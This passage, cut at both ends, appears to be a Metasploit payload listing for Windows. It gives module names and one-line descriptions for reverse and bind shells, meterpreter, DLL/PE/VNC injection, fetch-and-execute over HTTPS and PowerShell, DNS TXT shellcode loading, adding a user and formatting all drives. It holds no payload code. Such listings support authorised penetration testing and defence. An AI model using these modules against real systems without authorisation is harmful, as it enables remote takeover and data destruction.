cmd/windows/https/x64/meterpreter/reverse_https                    Fetch and execute an x64 payload from an HTTPS server. Tunnel communication over HTTP (Windows x64 wininet)
cmd/windows/https/x64/meterpreter/reverse_named_pipe               Fetch and execute an x64 payload from an HTTPS server. Connect back to the attacker via a named pipe pivot
cmd/windows/https/x64/meterpreter/reverse_tcp                      Fetch and execute an x64 payload from an HTTPS server. Connect back to the attacker (Windows x64)
cmd/windows/https/x64/meterpreter/reverse_tcp_rc4                  Fetch and execute an x64 payload from an HTTPS server. Connect back to the attacker
cmd/windows/https/x64/meterpreter/reverse_tcp_uuid                 Fetch and execute an x64 payload from an HTTPS server. Connect back to the attacker with UUID Support (Windows x64)
cmd/windows/https/x64/meterpreter/reverse_winhttp                  Fetch and execute an x64 payload from an HTTPS server. Tunnel communication over HTTP (Windows x64 winhttp)
cmd/windows/https/x64/meterpreter/reverse_winhttps                 Fetch and execute an x64 payload from an HTTPS server. Tunnel communication over HTTPS (Windows x64 winhttp)
cmd/windows/https/x64/meterpreter_bind_named_pipe                  Fetch and execute an x64 payload from an HTTPS server. Connect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
cmd/windows/https/x64/meterpreter_bind_tcp                         Fetch and execute an x64 payload from an HTTPS server. Connect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
cmd/windows/https/x64/meterpreter_reverse_http                     Fetch and execute an x64 payload from an HTTPS server. Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
cmd/windows/https/x64/meterpreter_reverse_https                    Fetch and execute an x64 payload from an HTTPS server. Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
cmd/windows/https/x64/meterpreter_reverse_ipv6_tcp                 Fetch and execute an x64 payload from an HTTPS server. Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
cmd/windows/https/x64/meterpreter_reverse_tcp                      Fetch and execute an x64 payload from an HTTPS server. Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
cmd/windows/https/x64/peinject/bind_ipv6_tcp                       Fetch and execute an x64 payload from an HTTPS server. Listen for an IPv6 connection (Windows x64)
cmd/windows/https/x64/peinject/bind_ipv6_tcp_uuid                  Fetch and execute an x64 payload from an HTTPS server. Listen for an IPv6 connection with UUID Support (Windows x64)
cmd/windows/https/x64/peinject/bind_named_pipe                     Fetch and execute an x64 payload from an HTTPS server. Listen for a pipe connection (Windows x64)
cmd/windows/https/x64/peinject/bind_tcp                            Fetch and execute an x64 payload from an HTTPS server. Listen for a connection (Windows x64)
cmd/windows/https/x64/peinject/bind_tcp_rc4                        Fetch and execute an x64 payload from an HTTPS server. Connect back to the attacker
cmd/windows/https/x64/peinject/bind_tcp_uuid                       Fetch and execute an x64 payload from an HTTPS server. Listen for a connection with UUID Support (Windows x64)
cmd/windows/https/x64/peinject/reverse_named_pipe                  Fetch and execute an x64 payload from an HTTPS server. Connect back to the attacker via a named pipe pivot
cmd/windows/https/x64/peinject/reverse_tcp                         Fetch and execute an x64 payload from an HTTPS server. Connect back to the attacker (Windows x64)
cmd/windows/https/x64/peinject/reverse_tcp_rc4                     Fetch and execute an x64 payload from an HTTPS server. Connect back to the attacker
cmd/windows/https/x64/peinject/reverse_tcp_uuid                    Fetch and execute an x64 payload from an HTTPS server. Connect back to the attacker with UUID Support (Windows x64)
cmd/windows/https/x64/pingback_reverse_tcp                         Fetch and execute an x64 payload from an HTTPS server. Connect back to attacker and report UUID (Windows x64)
cmd/windows/https/x64/powershell_bind_tcp                          Fetch and execute an x64 payload from an HTTPS server.
cmd/windows/https/x64/powershell_reverse_tcp                       Fetch and execute an x64 payload from an HTTPS server.
cmd/windows/https/x64/powershell_reverse_tcp_ssl                   Fetch and execute an x64 payload from an HTTPS server.
cmd/windows/https/x64/shell/bind_ipv6_tcp                          Fetch and execute an x64 payload from an HTTPS server. Spawn a piped command shell (Windows x64) (staged). Listen for an IPv6 connection (Windows x64)
cmd/windows/https/x64/shell/bind_ipv6_tcp_uuid                     Fetch and execute an x64 payload from an HTTPS server. Spawn a piped command shell (Windows x64) (staged). Listen for an IPv6 connection with UUID Support (Windows x64)
cmd/windows/https/x64/shell/bind_named_pipe                        Fetch and execute an x64 payload from an HTTPS server. Spawn a piped command shell (Windows x64) (staged). Listen for a pipe connection (Windows x64)
cmd/windows/https/x64/shell/bind_tcp                               Fetch and execute an x64 payload from an HTTPS server. Spawn a piped command shell (Windows x64) (staged). Listen for a connection (Windows x64)
cmd/windows/https/x64/shell/bind_tcp_rc4                           Fetch and execute an x64 payload from an HTTPS server. Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker
cmd/windows/https/x64/shell/bind_tcp_uuid                          Fetch and execute an x64 payload from an HTTPS server. Spawn a piped command shell (Windows x64) (staged). Listen for a connection with UUID Support (Windows x64)
cmd/windows/https/x64/shell/reverse_tcp                            Fetch and execute an x64 payload from an HTTPS server. Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker (Windows x64)
cmd/windows/https/x64/shell/reverse_tcp_rc4                        Fetch and execute an x64 payload from an HTTPS server. Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker
cmd/windows/https/x64/shell/reverse_tcp_uuid                       Fetch and execute an x64 payload from an HTTPS server. Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker with UUID Support (Windows x64)
cmd/windows/https/x64/shell_bind_tcp                               Fetch and execute an x64 payload from an HTTPS server. Listen for a connection and spawn a command shell (Windows x64)
cmd/windows/https/x64/shell_reverse_tcp                            Fetch and execute an x64 payload from an HTTPS server. Connect back to attacker and spawn a command shell (Windows x64)
cmd/windows/https/x64/vncinject/bind_ipv6_tcp                      Fetch and execute an x64 payload from an HTTPS server. Listen for an IPv6 connection (Windows x64)
cmd/windows/https/x64/vncinject/bind_ipv6_tcp_uuid                 Fetch and execute an x64 payload from an HTTPS server. Listen for an IPv6 connection with UUID Support (Windows x64)
cmd/windows/https/x64/vncinject/bind_named_pipe                    Fetch and execute an x64 payload from an HTTPS server. Listen for a pipe connection (Windows x64)
cmd/windows/https/x64/vncinject/bind_tcp                           Fetch and execute an x64 payload from an HTTPS server. Listen for a connection (Windows x64)
cmd/windows/https/x64/vncinject/bind_tcp_rc4                       Fetch and execute an x64 payload from an HTTPS server. Connect back to the attacker
cmd/windows/https/x64/vncinject/bind_tcp_uuid                      Fetch and execute an x64 payload from an HTTPS server. Listen for a connection with UUID Support (Windows x64)
cmd/windows/https/x64/vncinject/reverse_http                       Fetch and execute an x64 payload from an HTTPS server. Tunnel communication over HTTP (Windows x64 wininet)
cmd/windows/https/x64/vncinject/reverse_https                      Fetch and execute an x64 payload from an HTTPS server. Tunnel communication over HTTP (Windows x64 wininet)
cmd/windows/https/x64/vncinject/reverse_tcp                        Fetch and execute an x64 payload from an HTTPS server. Connect back to the attacker (Windows x64)
cmd/windows/https/x64/vncinject/reverse_tcp_rc4                    Fetch and execute an x64 payload from an HTTPS server. Connect back to the attacker
cmd/windows/https/x64/vncinject/reverse_tcp_uuid                   Fetch and execute an x64 payload from an HTTPS server. Connect back to the attacker with UUID Support (Windows x64)
cmd/windows/https/x64/vncinject/reverse_winhttp                    Fetch and execute an x64 payload from an HTTPS server. Tunnel communication over HTTP (Windows x64 winhttp)
cmd/windows/https/x64/vncinject/reverse_winhttps                   Fetch and execute an x64 payload from an HTTPS server. Tunnel communication over HTTPS (Windows x64 winhttp)
cmd/windows/jjs_reverse_tcp                                        Connect back and create a command shell via jjs
cmd/windows/powershell/adduser                                     Execute an x86 payload from a command via PowerShell
cmd/windows/powershell/custom/bind_hidden_ipknock_tcp              Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode
cmd/windows/powershell/custom/bind_hidden_tcp                      Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection from a hidden port and spawn a command shell to the allowed host.
cmd/windows/powershell/custom/bind_ipv6_tcp                        Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for an IPv6 connection (Windows x86)
cmd/windows/powershell/custom/bind_ipv6_tcp_uuid                   Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for an IPv6 connection with UUID Support (Windows x86)
cmd/windows/powershell/custom/bind_named_pipe                      Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for a pipe connection (Windows x86)
cmd/windows/powershell/custom/bind_nonx_tcp                        Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection (No NX)
cmd/windows/powershell/custom/bind_tcp                             Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection (Windows x86)
cmd/windows/powershell/custom/bind_tcp_rc4                         Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection
cmd/windows/powershell/custom/bind_tcp_uuid                        Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection with UUID Support (Windows x86)
cmd/windows/powershell/custom/find_tag                             Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Use an established connection
cmd/windows/powershell/custom/reverse_http                         Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTP (Windows wininet)
cmd/windows/powershell/custom/reverse_http_proxy_pstore            Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTP
cmd/windows/powershell/custom/reverse_https                        Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTPS (Windows wininet)
cmd/windows/powershell/custom/reverse_ipv6_tcp                     Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker over IPv6
cmd/windows/powershell/custom/reverse_named_pipe                   Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker via a named pipe pivot
cmd/windows/powershell/custom/reverse_nonx_tcp                     Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker (No NX)
cmd/windows/powershell/custom/reverse_ord_tcp                      Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker
cmd/windows/powershell/custom/reverse_tcp                          Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker
cmd/windows/powershell/custom/reverse_tcp_allports                 Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Try to connect back to the attacker, on all possible ports (1-65535, slowly)
cmd/windows/powershell/custom/reverse_tcp_dns                      Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker
cmd/windows/powershell/custom/reverse_tcp_rc4                      Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker
cmd/windows/powershell/custom/reverse_tcp_rc4_dns                  Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker
cmd/windows/powershell/custom/reverse_tcp_uuid                     Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker with UUID Support
cmd/windows/powershell/custom/reverse_udp                          Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker with UUID Support
cmd/windows/powershell/custom/reverse_winhttp                      Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTP (Windows winhttp)
cmd/windows/powershell/custom/reverse_winhttps                     Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTPS (Windows winhttp)
cmd/windows/powershell/dllinject/bind_hidden_ipknock_tcp           Execute an x86 payload from a command via PowerShell. Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode
cmd/windows/powershell/dllinject/bind_hidden_tcp                   Execute an x86 payload from a command via PowerShell. Listen for a connection from a hidden port and spawn a command shell to the allowed host.
cmd/windows/powershell/dllinject/bind_ipv6_tcp                     Execute an x86 payload from a command via PowerShell. Listen for an IPv6 connection (Windows x86)
cmd/windows/powershell/dllinject/bind_ipv6_tcp_uuid                Execute an x86 payload from a command via PowerShell. Listen for an IPv6 connection with UUID Support (Windows x86)
cmd/windows/powershell/dllinject/bind_named_pipe                   Execute an x86 payload from a command via PowerShell. Listen for a pipe connection (Windows x86)
cmd/windows/powershell/dllinject/bind_nonx_tcp                     Execute an x86 payload from a command via PowerShell. Listen for a connection (No NX)
cmd/windows/powershell/dllinject/bind_tcp                          Execute an x86 payload from a command via PowerShell. Listen for a connection (Windows x86)
cmd/windows/powershell/dllinject/bind_tcp_rc4                      Execute an x86 payload from a command via PowerShell. Listen for a connection
cmd/windows/powershell/dllinject/bind_tcp_uuid                     Execute an x86 payload from a command via PowerShell. Listen for a connection with UUID Support (Windows x86)
cmd/windows/powershell/dllinject/find_tag                          Execute an x86 payload from a command via PowerShell. Use an established connection
cmd/windows/powershell/dllinject/reverse_http                      Execute an x86 payload from a command via PowerShell. Tunnel communication over HTTP (Windows wininet)
cmd/windows/powershell/dllinject/reverse_http_proxy_pstore         Execute an x86 payload from a command via PowerShell. Tunnel communication over HTTP
cmd/windows/powershell/dllinject/reverse_ipv6_tcp                  Execute an x86 payload from a command via PowerShell. Connect back to the attacker over IPv6
cmd/windows/powershell/dllinject/reverse_nonx_tcp                  Execute an x86 payload from a command via PowerShell. Connect back to the attacker (No NX)
cmd/windows/powershell/dllinject/reverse_ord_tcp                   Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/dllinject/reverse_tcp                       Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/dllinject/reverse_tcp_allports              Execute an x86 payload from a command via PowerShell. Try to connect back to the attacker, on all possible ports (1-65535, slowly)
cmd/windows/powershell/dllinject/reverse_tcp_dns                   Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/dllinject/reverse_tcp_rc4                   Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/dllinject/reverse_tcp_rc4_dns               Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/dllinject/reverse_tcp_uuid                  Execute an x86 payload from a command via PowerShell. Connect back to the attacker with UUID Support
cmd/windows/powershell/dllinject/reverse_winhttp                   Execute an x86 payload from a command via PowerShell. Tunnel communication over HTTP (Windows winhttp)
cmd/windows/powershell/dns_txt_query_exec                          Execute an x86 payload from a command via PowerShell. Performs a TXT query against a series of DNS record(s) and executes the returned x86 shellcode. The DNSZONE option is used as the base name to iterate over. The payload will first request the TXT contents of the a hostname, followed by b, then c, etc. until there are no more records. For each record that is returned, exactly 255 bytes from it are copied into a buffer that is eventually executed. This buffer should be encoded using x86/alpha_mixed with the BufferRegister option set to EDI.
cmd/windows/powershell/download_exec                               Execute an x86 payload from a command via PowerShell. Download an EXE from an HTTP(S)/FTP URL and execute it
cmd/windows/powershell/exec                                        Execute an x86 payload from a command via PowerShell
cmd/windows/powershell/format_all_drives                           Execute an x86 payload from a command via PowerShell
cmd/windows/powershell/generic/debug_trap                          Execute an x86 payload from a command via PowerShell. Generate a debug trap in the target process
cmd/windows/powershell/generic/tight_loop                          Execute an x86 payload from a command via PowerShell. Generate a tight loop in the target process
cmd/windows/powershell/loadlibrary                                 Execute an x86 payload from a command via PowerShell
cmd/windows/powershell/messagebox                                  Execute an x86 payload from a command via PowerShell. Spawns a dialog via MessageBox using a customizable title, text & icon
cmd/windows/powershell/meterpreter/bind_hidden_ipknock_tcp         Execute an x86 payload from a command via PowerShell. Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode
cmd/windows/powershell/meterpreter/bind_hidden_tcp                 Execute an x86 payload from a command via PowerShell. Listen for a connection from a hidden port and spawn a command shell to the allowed host.
cmd/windows/powershell/meterpreter/bind_ipv6_tcp                   Execute an x86 payload from a command via PowerShell. Listen for an IPv6 connection (Windows x86)
cmd/windows/powershell/meterpreter/bind_ipv6_tcp_uuid              Execute an x86 payload from a command via PowerShell. Listen for an IPv6 connection with UUID Support (Windows x86)
cmd/windows/powershell/meterpreter/bind_named_pipe                 Execute an x86 payload from a command via PowerShell. Listen for a pipe connection (Windows x86)
cmd/windows/powershell/meterpreter/bind_nonx_tcp                   Execute an x86 payload from a command via PowerShell. Listen for a connection (No NX)
cmd/windows/powershell/meterpreter/bind_tcp                        Execute an x86 payload from a command via PowerShell. Listen for a connection (Windows x86)
cmd/windows/powershell/meterpreter/bind_tcp_rc4                    Execute an x86 payload from a command via PowerShell. Listen for a connection
cmd/windows/powershell/meterpreter/bind_tcp_uuid                   Execute an x86 payload from a command via PowerShell. Listen for a connection with UUID Support (Windows x86)
cmd/windows/powershell/meterpreter/find_tag                        Execute an x86 payload from a command via PowerShell. Use an established connection
cmd/windows/powershell/meterpreter/reverse_http                    Execute an x86 payload from a command via PowerShell. Tunnel communication over HTTP (Windows wininet)
cmd/windows/powershell/meterpreter/reverse_http_proxy_pstore       Execute an x86 payload from a command via PowerShell. Tunnel communication over HTTP
cmd/windows/powershell/meterpreter/reverse_https                   Execute an x86 payload from a command via PowerShell. Tunnel communication over HTTPS (Windows wininet)
cmd/windows/powershell/meterpreter/reverse_ipv6_tcp                Execute an x86 payload from a command via PowerShell. Connect back to the attacker over IPv6
cmd/windows/powershell/meterpreter/reverse_named_pipe              Execute an x86 payload from a command via PowerShell. Connect back to the attacker via a named pipe pivot
cmd/windows/powershell/meterpreter/reverse_nonx_tcp                Execute an x86 payload from a command via PowerShell. Connect back to the attacker (No NX)
cmd/windows/powershell/meterpreter/reverse_ord_tcp                 Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/meterpreter/reverse_tcp                     Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/meterpreter/reverse_tcp_allports            Execute an x86 payload from a command via PowerShell. Try to connect back to the attacker, on all possible ports (1-65535, slowly)
cmd/windows/powershell/meterpreter/reverse_tcp_dns                 Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/meterpreter/reverse_tcp_rc4                 Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/meterpreter/reverse_tcp_rc4_dns             Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/meterpreter/reverse_tcp_uuid                Execute an x86 payload from a command via PowerShell. Connect back to the attacker with UUID Support
cmd/windows/powershell/meterpreter/reverse_winhttp                 Execute an x86 payload from a command via PowerShell. Tunnel communication over HTTP (Windows winhttp)
cmd/windows/powershell/meterpreter/reverse_winhttps                Execute an x86 payload from a command via PowerShell. Tunnel communication over HTTPS (Windows winhttp)
cmd/windows/powershell/metsvc_bind_tcp                             Execute an x86 payload from a command via PowerShell. Stub payload for interacting with a Meterpreter Service
cmd/windows/powershell/metsvc_reverse_tcp                          Execute an x86 payload from a command via PowerShell. Stub payload for interacting with a Meterpreter Service
cmd/windows/powershell/patchupdllinject/bind_hidden_ipknock_tcp    Execute an x86 payload from a command via PowerShell. Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode
cmd/windows/powershell/patchupdllinject/bind_hidden_tcp            Execute an x86 payload from a command via PowerShell. Listen for a connection from a hidden port and spawn a command shell to the allowed host.
cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp              Execute an x86 payload from a command via PowerShell. Listen for an IPv6 connection (Windows x86)
cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp_uuid         Execute an x86 payload from a command via PowerShell. Listen for an IPv6 connection with UUID Support (Windows x86)
cmd/windows/powershell/patchupdllinject/bind_named_pipe            Execute an x86 payload from a command via PowerShell. Listen for a pipe connection (Windows x86)
cmd/windows/powershell/patchupdllinject/bind_nonx_tcp              Execute an x86 payload from a command via PowerShell. Listen for a connection (No NX)
cmd/windows/powershell/patchupdllinject/bind_tcp                   Execute an x86 payload from a command via PowerShell. Listen for a connection (Windows x86)
cmd/windows/powershell/patchupdllinject/bind_tcp_rc4               Execute an x86 payload from a command via PowerShell. Listen for a connection
cmd/windows/powershell/patchupdllinject/bind_tcp_uuid              Execute an x86 payload from a command via PowerShell. Listen for a connection with UUID Support (Windows x86)
cmd/windows/powershell/patchupdllinject/find_tag                   Execute an x86 payload from a command via PowerShell. Use an established connection
cmd/windows/powershell/patchupdllinject/reverse_ipv6_tcp           Execute an x86 payload from a command via PowerShell. Connect back to the attacker over IPv6
cmd/windows/powershell/patchupdllinject/reverse_nonx_tcp           Execute an x86 payload from a command via PowerShell. Connect back to the attacker (No NX)
cmd/windows/powershell/patchupdllinject/reverse_ord_tcp            Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/patchupdllinject/reverse_tcp                Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/patchupdllinject/reverse_tcp_allports       Execute an x86 payload from a command via PowerShell. Try to connect back to the attacker, on all possible ports (1-65535, slowly)
cmd/windows/powershell/patchupdllinject/reverse_tcp_dns            Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4            Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4_dns        Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid           Execute an x86 payload from a command via PowerShell. Connect back to the attacker with UUID Support
cmd/windows/powershell/patchupmeterpreter/bind_hidden_ipknock_tcp  Execute an x86 payload from a command via PowerShell. Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode
cmd/windows/powershell/patchupmeterpreter/bind_hidden_tcp          Execute an x86 payload from a command via PowerShell. Listen for a connection from a hidden port and spawn a command shell to the allowed host.
cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp            Execute an x86 payload from a command via PowerShell. Listen for an IPv6 connection (Windows x86)
cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp_uuid       Execute an x86 payload from a command via PowerShell. Listen for an IPv6 connection with UUID Support (Windows x86)
cmd/windows/powershell/patchupmeterpreter/bind_named_pipe          Execute an x86 payload from a command via PowerShell. Listen for a pipe connection (Windows x86)
cmd/windows/powershell/patchupmeterpreter/bind_nonx_tcp            Execute an x86 payload from a command via PowerShell. Listen for a connection (No NX)
cmd/windows/powershell/patchupmeterpreter/bind_tcp                 Execute an x86 payload from a command via PowerShell. Listen for a connection (Windows x86)
cmd/windows/powershell/patchupmeterpreter/bind_tcp_rc4             Execute an x86 payload from a command via PowerShell. Listen for a connection
cmd/windows/powershell/patchupmeterpreter/bind_tcp_uuid            Execute an x86 payload from a command via PowerShell. Listen for a connection with UUID Support (Windows x86)
cmd/windows/powershell/patchupmeterpreter/find_tag                 Execute an x86 payload from a command via PowerShell. Use an established connection
cmd/windows/powershell/patchupmeterpreter/reverse_ipv6_tcp         Execute an x86 payload from a command via PowerShell. Connect back to the attacker over IPv6
cmd/windows/powershell/patchupmeterpreter/reverse_nonx_tcp         Execute an x86 payload from a command via PowerShell. Connect back to the attacker (No NX)
cmd/windows/powershell/patchupmeterpreter/reverse_ord_tcp          Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/patchupmeterpreter/reverse_tcp              Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/patchupmeterpreter/reverse_tcp_allports     Execute an x86 payload from a command via PowerShell. Try to connect back to the attacker, on all possible ports (1-65535, slowly)
cmd/windows/powershell/patchupmeterpreter/reverse_tcp_dns          Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4          Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4_dns      Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/patchupmeterpreter/reverse_tcp_uuid         Execute an x86 payload from a command via PowerShell. Connect back to the attacker with UUID Support
cmd/windows/powershell/peinject/bind_hidden_ipknock_tcp            Execute an x86 payload from a command via PowerShell. Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode
cmd/windows/powershell/peinject/bind_hidden_tcp                    Execute an x86 payload from a command via PowerShell. Listen for a connection from a hidden port and spawn a command shell to the allowed host.
cmd/windows/powershell/peinject/bind_ipv6_tcp                      Execute an x86 payload from a command via PowerShell. Listen for an IPv6 connection (Windows x86)
cmd/windows/powershell/peinject/bind_ipv6_tcp_uuid                 Execute an x86 payload from a command via PowerShell. Listen for an IPv6 connection with UUID Support (Windows x86)
cmd/windows/powershell/peinject/bind_named_pipe                    Execute an x86 payload from a command via PowerShell. Listen for a pipe connection (Windows x86)
cmd/windows/powershell/peinject/bind_nonx_tcp                      Execute an x86 payload from a command via PowerShell. Listen for a connection (No NX)
cmd/windows/powershell/peinject/bind_tcp                           Execute an x86 payload from a command via PowerShell. Listen for a connection (Windows x86)
cmd/windows/powershell/peinject/bind_tcp_rc4                       Execute an x86 payload from a command via PowerShell. Listen for a connection
cmd/windows/powershell/peinject/bind_tcp_uuid                      Execute an x86 payload from a command via PowerShell. Listen for a connection with UUID Support (Windows x86)
cmd/windows/powershell/peinject/find_tag                           Execute an x86 payload from a command via PowerShell. Use an established connection
cmd/windows/powershell/peinject/reverse_ipv6_tcp                   Execute an x86 payload from a command via PowerShell. Connect back to the attacker over IPv6
cmd/windows/powershell/peinject/reverse_named_pipe                 Execute an x86 payload from a command via PowerShell. Connect back to the attacker via a named pipe pivot
cmd/windows/powershell/peinject/reverse_nonx_tcp                   Execute an x86 payload from a command via PowerShell. Connect back to the attacker (No NX)
cmd/windows/powershell/peinject/reverse_ord_tcp                    Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/peinject/reverse_tcp                        Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/peinject/reverse_tcp_allports               Execute an x86 payload from a command via PowerShell. Try to connect back to the attacker, on all possible ports (1-65535, slowly)
cmd/windows/powershell/peinject/reverse_tcp_dns                    Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/peinject/reverse_tcp_rc4                    Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/peinject/reverse_tcp_rc4_dns                Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/peinject/reverse_tcp_uuid                   Execute an x86 payload from a command via PowerShell. Connect back to the attacker with UUID Support
cmd/windows/powershell/pingback_bind_tcp                           Execute an x86 payload from a command via PowerShell. Open a socket and report UUID when a connection is received (Windows x86)
cmd/windows/powershell/pingback_reverse_tcp                        Execute an x86 payload from a command via PowerShell. Connect back to attacker and report UUID (Windows x86)
cmd/windows/powershell/powershell_bind_tcp                         Execute an x86 payload from a command via PowerShell
cmd/windows/powershell/powershell_reverse_tcp                      Execute an x86 payload from a command via PowerShell
cmd/windows/powershell/powershell_reverse_tcp_ssl                  Execute an x86 payload from a command via PowerShell
cmd/windows/powershell/shell/bind_hidden_ipknock_tcp               Execute an x86 payload from a command via PowerShell. Spawn a piped command shell (staged). Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode
cmd/windows/powershell/shell/bind_hidden_tcp                       Execute an x86 payload from a command via PowerShell. Spawn a piped command shell (staged). Listen for a connection from a hidden port and spawn a command shell to the allowed host.
cmd/windows/powershell/shell/bind_ipv6_tcp                         Execute an x86 payload from a command via PowerShell. Spawn a piped command shell (staged). Listen for an IPv6 connection (Windows x86)
cmd/windows/powershell/shell/bind_ipv6_tcp_uuid                    Execute an x86 payload from a command via PowerShell. Spawn a piped command shell (staged). Listen for an IPv6 connection with UUID Support (Windows x86)
cmd/windows/powershell/shell/bind_named_pipe                       Execute an x86 payload from a command via PowerShell. Spawn a piped command shell (staged). Listen for a pipe connection (Windows x86)
cmd/windows/powershell/shell/bind_nonx_tcp                         Execute an x86 payload from a command via PowerShell. Spawn a piped command shell (staged). Listen for a connection (No NX)
cmd/windows/powershell/shell/bind_tcp                              Execute an x86 payload from a command via PowerShell. Spawn a piped command shell (staged). Listen for a connection (Windows x86)
cmd/windows/powershell/shell/bind_tcp_rc4                          Execute an x86 payload from a command via PowerShell. Spawn a piped command shell (staged). Listen for a connection
cmd/windows/powershell/shell/bind_tcp_uuid                         Execute an x86 payload from a command via PowerShell. Spawn a piped command shell (staged). Listen for a connection with UUID Support (Windows x86)
cmd/windows/powershell/shell/find_tag                              Execute an x86 payload from a command via PowerShell. Spawn a piped command shell (staged). Use an established connection
cmd/windows/powershell/shell/reverse_ipv6_tcp                      Execute an x86 payload from a command via PowerShell. Spawn a piped command shell (staged). Connect back to the attacker over IPv6
cmd/windows/powershell/shell/reverse_nonx_tcp                      Execute an x86 payload from a command via PowerShell. Spawn a piped command shell (staged). Connect back to the attacker (No NX)
cmd/windows/powershell/shell/reverse_ord_tcp                       Execute an x86 payload from a command via PowerShell. Spawn a piped command shell (staged). Connect back to the attacker
cmd/windows/powershell/shell/reverse_tcp                           Execute an x86 payload from a command via PowerShell. Spawn a piped command shell (staged). Connect back to the attacker
